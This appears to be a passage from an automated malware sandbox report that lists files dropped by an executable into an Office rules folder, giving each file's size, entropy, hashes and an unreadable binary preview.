Preview:	.<?.m.l..._^..C..(.....E..b%.& .Y........{0.p..F.-.Z..I....'..u#\...9K.B.G.Tr(n..m..^n.+.#.'...........&......5..._.]....w.nA&....^ D7{..(,..68.=".+..]..v.N..W.......).h.i.4.p.Qf..).....;.Z+.eJL.........>.,o.>W.l...z....._....h...f....v.....0.)...S......K...(@we..W.1F..?!.L..g...~.<..z..T..2I...i-...4n_,.Y.M.....".>.HO.c...)...&J:.9...=.rA....qc0..vV,ja4.s..U..$...$B.0j.J/^.$.....V.o......O..........E...... ....(25...My..,.L.f .pq....X.S%{.!@E.....'.^<T....)L..99sq..Y...g.!>c8..........T.v..../.0...>2/[Y.Z...q.K.Gw.P../...<....1.=...;....>....>.~.$...4R.yR.3...VA..A..-.-m.....)..; tv..J.v:g..\|.f.N&.p..S..-jG`.........3..]:.']e.....S.w...q.e\....._....".G......X.2;e.3....;.{.2....~HC...X.m5..n.^dOD....QJ.]}u....]..Lw.O.. ..f.....)h.cG.V.....2....m"qo.....\|....c..&.*=......!]`.d%....6.Y...q......M....N...g..FO...'wuE.w...R.9<s.4.~h.%...kN.\|..O.<A>.....{Rg\|..}.1(We.o.X...=.._u.a4=.....=<.f.LY.$...Y..V..\.....:...R..od....-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.85064531314076
Encrypted:	false
SSDEEP:	48:T8CXfolNbKiAm0dN4xjYRPVJs6s+LVV8A5OpKD:T88oHAb9n+C8A5YC
MD5:	E65D673DD9A0E37F129CAF9F6191AB5D
SHA1:	D2200C5C14A1191924CF3C547A84C15C890BEEEA
SHA-256:	E12480152C124321F93C71102E8E2482E62C15F7705AF91D5177FF57406AF704
SHA-512:	4BAA19F36C000EF7AFEA37513B7A0C023A633A7A15BE99AAE0549EC7BA4835F8AC9B5A624DFC732FF258205EF91A6E5A38F9313F644A7EDFFC27A9AFE50465CD
Malicious:	false
Preview:	.<?....:H..+I....=.N.G..B.GI...m....:.f.4...Q-.....4w..w..4......'.q.#...Q...Z.&....O.f.0.....].N.....n....S.....)1PD....#.l.....'.A0?...PH..{l._.L.~B.;..&y.%O.@.."y.M..'.fQVn.<89r..i..{...bZ.. 'o@?$z..$(I..&y.t.E.b..m...W..>!.h>..$.b..?..]i.I..A&m...A.xEK..{i[a0.;.`...4%.G.oPO..F54.q<...I.F.....9../zA.=.c..5....Z....Y.b2.AT;){6! Z{.w3..a..m..w.^.....Hw.\.Q....7.k&...m....1.z...qY^.j..F...BPE%..t.t.M.0.t/..\|..\.....Tj....4...sn.Krmf.>ZM..p..I.?..`k<....x.wi.,).l..z,..Y...o._0...Q6.6.-.UY..............gX;.B.....]4.....D...kG.D...kfr.....4.tB.+I..._...D..b....R3....`x..{..)...~..%..hd.'V=.O$.0.a?.FV....e^......e...{.xc......-....V..xF3...D....D...A.$Y.z.T.v...u..P.."GO.r..1w.aI...D7..Q...G.Y..I.a.)8.....X....S....C.h...wa..;lS...._.q...K.1...)@bW.y..d............Uj1..K-.~..\ZG.a_.@....:1....y.J...q...zPOUj.x5..5O.;..Y..ay(..{..`?...t.&..z\.....q.1.[-.........)...J.a c+..h..(&.?.....P.....SI3..B.QB..gw0....jk..>.[% .....XA.i. 3@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.872483804284477
Encrypted:	false
SSDEEP:	48:C6QYMmh6HPAR8VOurVqan4S6veZ5exIQj06sN78D:H3M/HIR4OSaNv0516sNE
MD5:	ADD1D7573236426C8A04DF554671CF23
SHA1:	E686080000ACB69B3AF2964DEDB141031C6A84D0
SHA-256:	D9E610D3D31BDA6C29A5D981903A10BE6FFCA0553538A14A6970C348377188E6
SHA-512:	08C75C994AC9ECC44748221006D33D8339DC4CB75E99371B1E52E4426136AD6AB76AC893071A342BA32136402BFC572C077E4CE0DA65514DF4A4B664C8521ABD
Malicious:	false
Preview:	.<?.C..&4J..R..?'c,W..&K..C../V.<.....d.E.-^.Z\.D.J...I..^hz..:8.8...qx.F...lM,.u.[S.7..../..tV/0uZ~.uV&../..HPW2 ......kv:...?..y.)NY.5....b...i@...=...:tS.%..]A........,.%].hR^$.5...Na..\....h.L..8Q.iE....D.e...qL.......\..,..H.\|...;...?PJ+d.6..p..?.T...+..~kZ:....7Q....y.A..}...H^.v}.`.....(%2/..N.fc.......M1..altY.C.\|.3j"f.{.....d.....#S.j....r%.)B.y.VP.6.x.../......... ...o..".(...UE.<>=rw..n..;...$...Y..`R.QM..R5...qe.4u....H.5.M....d)`.,Sd..n...B..9o47.\...a!..l11....UU....;..-.4..)......6,{/.CU.`.....f..x1..S.o.../..vg.84.r3..p.a.....7.$X..`k..Q,.a=....&R...N.....M..cs..9...[.).L.?..A3..u.....Y.@..w=.6..._h.....dxR..iU.FR..%G>.........o1.R.VJ!..$.l....W.z..-a....!..s.D....E9.d~..2.pK..[.J.`.HA.O..!.g cE..t...hM.u..piDn.<...?...D .h.6U.&...MB.D+:%.".08..9o,....Ef-......2.d.m.4.q.L.....S.M....g...)yN.8.S.D9CP....`.~..*8.N.H}...z.j......p.........K...^}e..C...W\..m.wx2I..T.r...xA!..?P..;....}h..@mhxJ.wX...{..st....J.....M....9g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.872369490815151
Encrypted:	false
SSDEEP:	48:3dZwhLBWsqhhiO/+3EhHr79AmfRmLl6vD:N2hLscO/+3EhHP9AmfRSlw
MD5:	556B83CB32B4EC5E1BAA3768D7850180
SHA1:	38EB4350C76D0C22573B4AC59EA755950865DEEB
SHA-256:	072540E382E7F3B2CCECA9C235B26CB7A4AD87C8F0E3C349DAB00BACCA975444
SHA-512:	3B1722411FA097AC6C35F45B54F1923FF3155A2F49DAEA3635914B58356CA3F16FF6DF7486B026944530E14A76D57D47213F92E8486E613A826420C2F0F936F8
Malicious:	false
Preview:	.<?/...Q/7v.....#....,F...L...,..U.'....7.'.S.......p..v.rs.1...e.q..\|@..H.c.]~p a.D..."...j(=??..lq.w..Sn...........3V/..o..Uz].~..t.)^..e.R....p......J....?...ts.?&..#eq[..W3.i3.M\|%....=......$.9Z.$.w..I..cG.VQ...x..;/.]...:...)d..X..^Q.4rw.[.).k...D.Xr.eF.>..1.1.%....j..J....h..P6..u[@....>.F.~.HQ.X6...R......d.,...=.'s.SJ.pZv.........J.'N.O.\|..J)....2....t.\|...........x.7.......a...>.".Y.5,a......Hyz.?..79.g.-U%..0.../..W.C'..S]+..../....D.tRl.<....F...d..A.6..._Eba.,.>...!...,9.....RL,.....Vk.A.V.b....K#CG.X-...U..\|..=Q.r.g.X...V..."f..XS.8by..s.]...._.%J.....U...j...)....HX...7Qn@......F..C..M<.1M..rJ.@....<u..}.....g.6W+.........w.......f3......-....L..2.1....7...`.]..`....5..Z.=....x~..i..x..]...u...9.."..........R..B.b..~..'h.P......!Mc.<........8..o\.+....k...5.>I..6.1..u.UT.g..R...(..1v...)...,8.)..G...B..K.<..T...,.DC.wE@m....,...Dy.K7n.a.T...6ke.~[..x.......i&z.BW.;.>..".Q..s.H...vz....?uo.\u[... l.Hw Q..I..>....:....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.914701514638137
Encrypted:	false
SSDEEP:	48:zAwbcFOLwX048zya207sA5aMVgHoKbCNfLpPpYk0LD:kwwOLwX+ICvgHoa8Lpq
MD5:	D3DB8833C7D83E3E6381483EC47AA69F
SHA1:	4DC2C8E21E0289C35EF1BD0B24FCDF9F25006710
SHA-256:	71670FEE52FEA9133756381FDC2F75EB4BF3618D7D5EACE96A2368B919E2AE13
SHA-512:	232BA2F321F10B0808EF2E0BA299DBA9D61A905CDBF5FDC07E7C408B67107EC5761347B235D0945572963173ED2098BED499A7CB192395DBD9F304FC1ED62010
Malicious:	false
Preview:	.<?....w...R..].....w=......s.V.\|s.....P.....W\3....[T..{+..E.'?=.7.\...H.#....x..o....T..-..Cr\|.%..y.2W.m....x...dV...Do..WDp..T..6....j2..`.....^..5.....X.O..96?.J.......S...c.8...]....c.v.O.[(....j..]..V..CkFU...........`. ..;1...}d.W.\|.R.=5uj.....w$...&:..e.\\|...M.M.=L.+g5.jn..J2.9$.l.....-^.8E0.kk.#\b....,..M.4...aR....+}".7.6.(...5....".....w..........@.WP:....y8....I..-....T8..P..$.b...+.......w...t....=....}...I..G.M.C...k9.K......z..b...lk@.h..gT.r.E......[...V^.....h'TJ..;..<#Y.rP.<^z..o...\|.vR...z.^.nT ....S.N,,k....i.....:>q..\...t_..$.Q%.r....~.n.Q>=.,153./}.KyBG..U.Ac8........:....x0.`.......y.Z+.._.q.IH.$..&.I.e!.....L..b...C..._.....F..).Xf.$.i...?q..JLT....w.....v.34.0........{.d.r.M^..H.....Wmiy......M&.Jv@..&...s.'..a9..OcV>....Av.o....O.....R.R...._u..lq.c...9...&(_._e3\..i8Hs~...U...$&V..I...0T._.U)t..g.G.......]H..1..F.7y..J.....u_...~Z.f......@"..)e<.o.h../...;...4.'.c:..w/.H.......Gp.@..."..d.h.c...\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.889004539213195
Encrypted:	false
SSDEEP:	48:RzlX3w/3i+8/v1fJmwrB+6bkkhWtlYF1bFD1v16RJfD:RxHwq+kvXfwk4Y15D96L
MD5:	2541000B93015A9B28787ABC708F7E9B
SHA1:	1C798676DB2BE750D461D5AB6407CFA3241066E7
SHA-256:	49B2A7178A264ACDC10B6AE2FF1D8D545E644C421A6D94936D6B161BA16BA90E
SHA-512:	EB0B959EE7E60719EBF95773BB545658098CD6BA2F2D165E4D574EF8F23F6C89523A28A400378A81D46616CE93B36104072F2C6DF2B8AD30CE0D532CFEF6BABC
Malicious:	false
Preview:	.<?\|...6O8.E...A.."E...Q..{.y..vu.z.Daa....M...(^........;d.....+.1..+.^...I..F....5...j>..n].R..9...ZX.0.^$...c+.....U....{.x.>..<P.d..@3....<...dF[.."......<......y.04...d.....;{WFhJ.[.o....v'k.#g........O.L.:"...XJS{..e....7+.c/...=....6a..s#..6D..z.c)...8.....>.Y.P..rv...-.N\.a_..IPES.X........=.....(.+..6...k.!.^=2..=.....vWc..pg......v.....E.......Y~\(S.o....H..c.......(.I.E..uI..1.K..}...~.m.j.8%y.v]QN.`l(wW....9..H\|.nS.3.....%..i$.o..W1...(.'.\|.....g.0.'....!.M.TrE.}.!.tG.:3.,.LH...6.^..6.r.{3..JK.....'..a~.MV..(F..S.!Qbw.5..o...A._^.....ByGk.3p.0.......`ueV....._.jp...4\|'J.1iu...!..>..... ......].o......?.\aK..c.f.....D..M.m74.;...D#i..].F[...;9.{.Y /.]..`+.p..S..9..h....I..B...df+......9.b.a.....XC.Iu~...ap..K...)2...LG.....7.FS.Mp.....!...o..A.".."[D).........[.r..2ff/}..-.....Ia..8+.$..4......r..#.tR.Y.&.X..Z.{W..qz..\b`$u.VD...........W.). .%.......Lev.5........XF...+.T.q...\v..@Pw.....BK..6(Tr..oh7r$P\..ilI.SGR.N.......f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.897240209595363
Encrypted:	false
SSDEEP:	24:RcYqIBEJshfy1Mjl13fdifQKdqWqPFZY6hKBLFRnEs/UXOrtvw5Q5i4EGxeUMQsg:PBEJshf6Mr3fdaWLhQLFeG/tw74EMiID
MD5:	9F6CA106D0ED2441510F345AB3CA4DAE
SHA1:	494C6954735B66ADF4589B92314E02058FBB73B8
SHA-256:	FEB50546F00F8F7281CEB4943F378718B4AE562D6BB19CAD87B663A769507AC6
SHA-512:	7AC3D5DD0402C97E69FF17EB03C05658B9796B0366A50D8E56623D4F3E1DCF9958F6C8542D9089AD15E3DD5A5BB42449F14B3C40D13F7E78C3CA44DE6233E6B6
Malicious:	false
Preview:	.<?...q..)D7J.!.".]V"y...v#...p&_.5.I.R.4....P....?]..6'5.<o...J029.....T{?..U{.%O!.s./.3c^..8./T:>< B.GR..P...J1.I`Yz..S..).R.....[c..s..[.4R.&N+o._+.Se...EG.r }..w~\.w.2.....p...L.&k!.'..-....V.....g.....x..n...c..........8Y.aG.%...v.<..y.Q..:B.e..g...4..\|}.<[..GGHp ....f.p....p..uJ...z....1....r.....k.'..bBBl~7.7)..U..B..g..}.."{.J......e...k..X....'..y...R..@..a.d..Ydm......{<.?..%....qW.u...3k...Ea..JX3..5Q..\.~"w.y.......v%\g.\v..y.n..f....8?....+q.........2.....GP........./...fX...N....^...YV.g..<.>.....@.....nO-..C.....8H...F.=w............D.eN#.._...9.d.s..]..2>?o.o......E7...q}..n[..;\....Ggw.jamb..,...8..?..W....}"j...5.St#...v/.E.&.4.GY......!...).[....ZfP.J...b....../.Sg.xCbb...=.<.w...M.=.g{..{...`..P.T.....0g........oA..~.1...Z.3...$5.I.<.i..\|.hM...D......K....F....Ji............9/...s...-.f...M.&..1.9.WS.S.\...g.s..5q.8.AL..#.\|..(.C..C5..kW..\OCa.}..pY.Js..TF9r...1......\..-.....P...o......+...c.M1..h..8.!..RI....x"..O.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.880882589626642
Encrypted:	false
SSDEEP:	48:Q2EHNJDcPgX6nSuxNm3GjZOKWI5SWvRqRFH+tyujqD:Q2ETcPhvsRKWq0Xefji
MD5:	3DAC3E82951722D0F63602F0744022E4
SHA1:	B119357A0A2F47FAB942E0E6C2AAAC4D83C19A13
SHA-256:	D81F4D82D41B22E35947633228DBAD6DDD8B79A2A62A34C97BD3C4772833DEE6
SHA-512:	1F50CFB50E451A1F30C2AC25859DC17FA10F08FD3DD9787DE18B438F8DE15799F149C6CC4742FBAA50EF706C4597FEEBCDBE3D3885590AC2933FDBF08ADA6080
Malicious:	false
Preview:	.<?....&..d..(..NIY..xV^...w.........B.K..V..&0..[.1-...Z.K.M3..&jL._7..h..v...Tt..N6.#.d...)..{.I.....+6^R.8.e.B....DEG(r.[c.E.......C....<p.G..qI>[-H .\(.#.#.L.G..{....fPB..Z.%.....z..'.ST>=m.Vs.T...'.i....@.x.}B..}...z..0@....v.~QOe.E\d..N.s..N.........k...(!/....-.Z%.M.B..v.....\. ......eUz..]+0.I......78..P@U.../......j.m..{.m<.Z.Rz.....h1.....)..b...,....aBx..}6K...\{..vS!~....Q..c....D..J.].....\|K......{GY.0...>..v...Z...8L:..K.:@.F....O....@.,.".*.{...F.H.4....]......o...U..n. h....&.m.......-....I........e..'%.t...Y.V...g...b..{1'O....!s......t=.... 30.N...HqZ....>06.F.... .9..l....T.w..").dlS.L....W..I.....K...".1..22....xu.w^S....9....~..c..~.kI.....<......8WY.......Af..+.....q..H.&Z...]........m.Ve:i.)g.r...w...@..gN).+.<~..c..og ...Q....!../ ......T.3<.i.Ya..j4..1.F..ukKf.3..-~I76K.9..M...wz.).R.y.x..^=....R..H.MsZ......ml..7yr.U......~x;....j_h..A.iU..f...^....Z..7.!..c.2t.c\|....4.....D...I.G?..)lS...E.....K.?=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8912715715480415
Encrypted:	false
SSDEEP:	48:UdVGEov9IwjqvfJ3LUM/eQLRDZH+eS5j27Tg2jDRwD:UdV2vPQyKr1gXc7T7s
MD5:	F2A985655BF622C08A5D728C5E7A1D05
SHA1:	5891114B6FE424DE3C5A731924088A685A1BE6CB
SHA-256:	C1F82A58017389CC4E4708866BB1421F94E059B93BB16D2CF5D621A1E12CB7A3
SHA-512:	9D8B1832A07761E31781ADBAC25B20503186CB419D0454754FAB2ACB00A46A92BF310E97DB2F1C9A560F4E876EFD0A21587D64D3F1DC4665E827EC5727E817E4
Malicious:	false
Preview:	.<?}Hp}..m7".$..D..Ca6.S.4.>.gQ.....r,vZ.b..c,h...!..B)..]....\../.....y.....\|3......A(.....k.Hd..?t.tL,R...E...e...B.[.j.......:\|.R?D......&`...v... ..M.;T.}............I..Rm.V<.....\|......^.mV\|x...z.^~..N.....pts..D.......0.m.`.......h.4. .oA\|..7M&..)`...l](...Q.......%.!......d..(.$S....Z.C.....*..n..t......2...@....n...l...dS.H.!2EB....&.Pz..2...i......pGm..-@..+...k;.Y.3.bv.8..g.r{..=w...[..S.P.....cY.w.....L..4hzR.A..F..1...(V 5......oT.l..5.......h....\|...G..v.......?).....BK.N0..'....k..E..d....kE.%...`L.....m...W.w.....o-.....ov...T.....%Qk.....mlEb.]..&M.(.1...s.I......[.T.5.....;M.y!cp....<]....g0I.N.rX....($..1D.z<d.) <I.WN.;.4.?.C.;X .S....^.....B..E..g.....g..z#.......hiC..6....[........z$...%....[j](r4...r./....5i.'A.=.b...!.B\|-...~6..6...J.l..9..3j.K.}a.....f. ../.....-..v..T.;.@.......f.'..N...C.{.H....0...Q...C>.m.J.vh.......;V..l...f.4..C.[..\|@EZ..scX"6Z../.Q0..P....y..........X.\../W.....t.E......eTJ.....^pq.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.878518254276715
Encrypted:	false
SSDEEP:	24:Gp7gm8097dfoN/npU1fi5PLN0uKKE/KCGIfgWtfxyzznccoDTRb4G1Wl53XhXe2X:Gmm8GA6sjyKYBXfxyzzeD1EmWltXh1D
MD5:	17E01BD39C72A73B43218044BC950C4F
SHA1:	E431DD1502622D546A0E9B03A28A92B3BE0EBC7D
SHA-256:	4786B15E671BE96600C3BAA27F05C7CB91E5C2F2171B87E7481246DD3A9059A1
SHA-512:	BB9C3399C237ADDC6B2E899701156AC27C7C37049587F05D556B25FA9C187F2B38A183F6CC0184548B9864228B99FD6524656228EC4072AD14AC2192ABC0B308
Malicious:	false
Preview:	.<?..@.....=....0z.._.6..-...#fvY..4..P.B.nt..}.kM.z..A.y...b.F.....?.5.@kd.^.g.../..U..}u.....b...E.......=.fI\......e.^...b@B{.{Z.b.#v.....l.."v...+7Gh..'~..3?.......,aM9..nj..#.......2.C...=....8.Ku.A..x....s@...\......3.j......s1S.Ok..K....B.E.V<U..)(.....).L..>. n.&;3g.c..d.... ...[z.5......Q.=........C...%..N.\|L..7.`.[.sT.+....OK....=t.fzf.a..][...._.D,j.h.. ...{4.^...z{..:..;..&..A....8.J.....23.\|..-A...O..y.../Q(.....Z..uW_..2..Mj..F.u.......@...Gv.q..._.Jq..z.;...Tn.G.[......3..F&6...+.J..l.].K<z.2..F....D.CN/..q..].t....x...n..=..~....;...3....d#Y5#.l.W..S......N...V.d}cx.Dm-D .....(.OP..H...^...Q.q..V.4".[.8...Wd.E.TM`.y.\....O.._.\n......3Qi.3....7.c..Pc.#....{5...>L.d..`..G...........wE.i..7....#.[M.....y.....\|v.#....t...G.U..H...."..M.)...m\[.....\.,n...Oj)n.[P..B...i..`.VN..G..9l...7.%_2..i.m.~c./..n%.C.*+..n.=..3...02..{..nq....UA....E.`.1.4..R.9....DZ....3.PrT+...[.)T..82J..9.A..Nt8...s......{...... .(>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.88017910127792
Encrypted:	false
SSDEEP:	48:V7yPizDJltI1zHpa+FDB4ZxRjGZcZfP76D:kHEPZxRjGZcY
MD5:	D0CFC6E1FD79DEEE3D491115CF71EAFE
SHA1:	01961EA08BFCDEB7614D078632A3CB67BC29E619
SHA-256:	44AB6E56396546AC1917401CFC41F3ED87A0C4C73A0E4D846903179331BC8105
SHA-512:	5A8B580C9BCAE1BD060534575618881BCEACFA3E7C3D2077FF535DCC4973B96AC41C43D5F30423493E56780DBDFF8492F413FBF6A6DB55907E4676B4BCA151C4
Malicious:	false
Preview:	.<?.d..h...+e.N......s....x@..........T..M...n...,....E.\Cl;....[..:...e...I.;63.^.n....%.>.K...{.E=m.d+;.....".!....aS.t3..".U".A..q...B7<..n;.......h...kYn...2.?....\..~.?.'.........K..Q...j9..7.......1n.X@\.....Vr=.{=...7.[...w..J..O.DIG S..b..>...Ro6.P...#E..y......<..o...7}...'.A.6.b3..4ARf./..P.:.\.\...hCxJ..5..s$.2.1....#...b..]...M6/-k ...%...9(o..d....K..7..E..Gy.........q...^.....w....<.Z)#0..~I\|~v.C.........P.>.)....%...g.2..),..l.u..y5.Nz......Be&./....9.J2,e_J.\|.r...9..f.K..Y.N......zQ.aK..+.N..).Y..J.1..l.]F.......CY.\%O..c`.[.R..Y@7.....vL..}...."&..a.j....)a..3".....~.Q(...+$&L.YH..l>.`...........R.].. QN.q..qP.e....v..mP.;L..R'(b....9...H>.7.N..o.....^.....V.E*....:;yX....Z..'.]_....y.IN...Z..W.../^[.T...t=.(.L.O.9...WD.7..q..?...N..MR .....L.n.}..3\|..R...e-....u...l.K....tD?:.."L..j...C?`.&.x.g...;.I-%..y.......F..;..7.L.NLA%..Fi..y.a.l....Jm..f..T............yU.....bVhR.!..C.l...g...:..y.!...5gf-...%...LE.%.}.<`!G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.876385340119752
Encrypted:	false
SSDEEP:	48:r8IQI0vIP9fZ4SWCQZDcNL41dQ0ZEyFsZQoDMeD:r8XhvIj4SWCQZDcNLuFZEyFsjIm
MD5:	395A4EEDBF95D6828FC1381A2FE84E08
SHA1:	E79A56339746B0982F2CFE60661CB9A3D66C2365
SHA-256:	091B873E82950A2E0C857429A11867DB367999C86F2461854D0978B50E7D2818
SHA-512:	8BB3D87DE41E8163D6B08736C3C30A88E18B5C7ED85C40700D6889B64113D47C4CC6B56E4A1FDE4F8F8EC09FEE12146835090B47DCF8F6814BFC0345A369969B
Malicious:	false
Preview:	.<?.I......9H...(\|....+EG.K7\|%..hC&..C..yB..6....R...U.$....w..q.).I .\.i...x......OI.hIa7(........}g.....B.G.d.e^.YR.#.O<.H.8.2..c:...>...v...^.."p.~.....#."(7GQ._..e......jwC.!...J......v9qT.........=p..4.A...CY`['%1<.w......."gK..S...f..t..7.....o]b..p....z .V&B...CT.. X....AuMQ...A.d...E..r.)...5...$.=U.H.fi....[..g..s.-.....z....<..F..8Od~..`..1.$hkW.&.....4..H>u...~...\.N..5P.......@a..O....P..N.w.E\|.......8.A6s...}.....j..\m..z.~..R..{.a.....Q.."....k....:...?Y.?.t......\...Xc....L.........h..7..=Z.ts.^t\.q...:q.0..3(..,..:....DA..cBl-...wcQ.u..AZ.F.?....}...7......b!2Q....@..,.....s..m0.>(%...:.8Q.....`.......B.s.FC..7... ?.......I.........a..^..X..V.:mn>XUo..$i...}8?.m].D\..2INY.x.d.......p...U...).M..!h8n.Q.$...#z.,.w.AK6e.w..m.0....,.H..$}+.p1$A99q.j....K.._.Z22.f.........vkd.Panc.@(h._LKt.V..j....'_]9E.nrP!'::}.F9.._....m.Q....96m..(.P..u.3...6.N.{\|.!.L$H........j..?....g._vX9.E.)..9.-.c.cE?....%pj..Rr.~.N..-.d.....T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.895817868401103
Encrypted:	false
SSDEEP:	48:X6BHOxd13UBn/JjFPr9U93iN4aqm5xOsSTEGWPOofWD:KAxEBnhhPr9Q3ibqCuEGaO
MD5:	BC2A5695DE5DCCC0739462C68BF74E56
SHA1:	B9DF0E87D3A84E4ECE3B1B8B5E9BC170F0F083F3
SHA-256:	FCFACCA05365E59A8627A79A862955E7A3A64D4750031358E19C5181DC3C251A
SHA-512:	08BB99CFE7AF0F0F9F4C58480B8CF2DBE272BA5F31AC448414BEB3FB59BA1A43D791FDDFD5B80BC3B81C8BCC26A9A0CC4686C0F852D41CD0DDCD6DC2899BCA74
Malicious:	false
Preview:	.<?..e.&....B\..>..Y.+..c..C....G..8.......n.Oo....E...+.<WS)....... ....Mz..y..1F:..q'..+.....'G............L...\|......!wJ.C.#B;..Q..V....a^T..}...H."...{.t...W.`_}.)d..,\|#.....J;...7......Z.I...d3..y.7.......&..)..)/...+.WiK...f.a3.a.[..P..a...kW...-..%=.....V.E>.[...v...Yc.....c&.5o.3.>..<...~..H.bHc,M..OiC..-.T....u.<A..3..+.P.ahE.../..m.....u...D..).C..V......b.........C....04{......n..M..c.0\|....0."....M.-..%=J$.&.g>.dk.......!.e.1.....`........p..@..&...9[.-.....dp.-.\...a}......U..a.....5....K..p.GH.l.1.....I....q;....%....8C.@.k...Zu....}....&...Vsd...XYf8.........KP=...=`.)i........1.EL..!..B..........3..+...Y.`...a.P.;.<..#U...x.aP...;<...QK..S.1......8...<.....hX.L...n...2Q..2......{)Z.i..7..m.A.s..5...OC..?V.....f.q..X.......Vg...mfm....z..(.l....F........GT.h...[#..(..Ks..:.J..^.M.N?7..n\...........f.2.AZe.jl....,..[s.....^k%.!..Ln.....H@Uy..E.6........#.........+4s';...&Z...G...d.a-Ez.td.....r.o..8'.}..>%\|{-.0.~..XR

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.890418070890823
Encrypted:	false
SSDEEP:	24:rZrVgnGRV/bpuCbgoWRyZ26zfwz6kY46TPola4DpS6Savg2WrlLa+/AIXe1aTSvQ:rZVV/UI2lrgPoA4DFWrlLNYr1YSvK4kD
MD5:	98481B960A89C4F300DD675663FEEA65
SHA1:	5AFD41D0D3FEFC4C8C0EE18984E2E4A4A1D5862F
SHA-256:	85408C5F9D17AB3D0423E3AEA80269DB0581035536B7611FD206BA4E22345738
SHA-512:	410B30368DDB001BDE8E48D402D52DD4850714E90AE476321C213C69F719AA54736EC398981FDD4C372D53DE93C4CA71606B3B3D33868E9365546626C0AF8160
Malicious:	false
Preview:	.<?.....51=...m.@z.b.),x.@.+......Z.."..&a.g3,....ch.........A`Y...ds.)rT.....+H%..W.!....&Yf...d\.$1....yE!...=........{....j6q...e#3<.ds&d.^3S+.z..>X?ig..V....u:....o.....w..;m,....,..K.,:T..;....0..t....oE..M6./....?..{...z({.K..{.8.=............mr.G. ..;.eS.F...PW(#.i...........^6.$...#=.4.C,nz$..R.g....R...I~....1'....+..ZQq...XE..o.X6.)._...sw0..B...{.j.....b...,..b...(v\O..>..fr.k4&\|..a5.l....w......8.F..~U.GXp.....QM..\a..4d.;e.6G..b.y}<>Eo.........Z;..l...0..I..d.o..%Rn.....O;.~J.{..).....s!."L...iWTX....D...$sA...t).LDc.../].k..`.G......AD@nC.\|=..2.Gq....z..g..f.s........&hFl....h..m.7)!.N..!.SM.u&..RP^..p.,..2...M.>L.._`.`Yn...A.....3..&).a$.!g\.....P.;h2....5M.#.$Q&. ...yUMg....q.p&..V.a....,.a.....=......F....=.V.G@E6.Mu..]>..`D..}U.&..ZMhq..r..:.GA....4.-.).f.Z<D..v...R..4...XH..E#i.tU.......q...t$;.Lu0.oZG..!..j.Ll.F./...a.4.)...'p..._.h....[.\K.....d.SS......G.......k......UM...X.....{..._..vK..C.\|O..x.(.\|^..3J3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.890212858071752
Encrypted:	false
SSDEEP:	48:u+BRChOcWw7cSTx8W15A0hZ6wiJ91JIwD:uOy9GU5A0hZ6BD
MD5:	2E6CD611D67BDB6928DB49B1ED4BEF1C
SHA1:	341A4D7BE3348C6FF719F9A181EF73514007F1FB
SHA-256:	52F5BC6913B89C7F6ED5133517D1C5765FAD4C16B6A94746D96D0D1C958FCD2B
SHA-512:	6E1AF7AE8CBC6914207DDFC2876787406DFCE7973A96658138DEBD3F5082449A5EAE39A4AEA405C451A8D2464F97EBD80201C4E24245AD1867EF0C835A1CD7A5
Malicious:	false
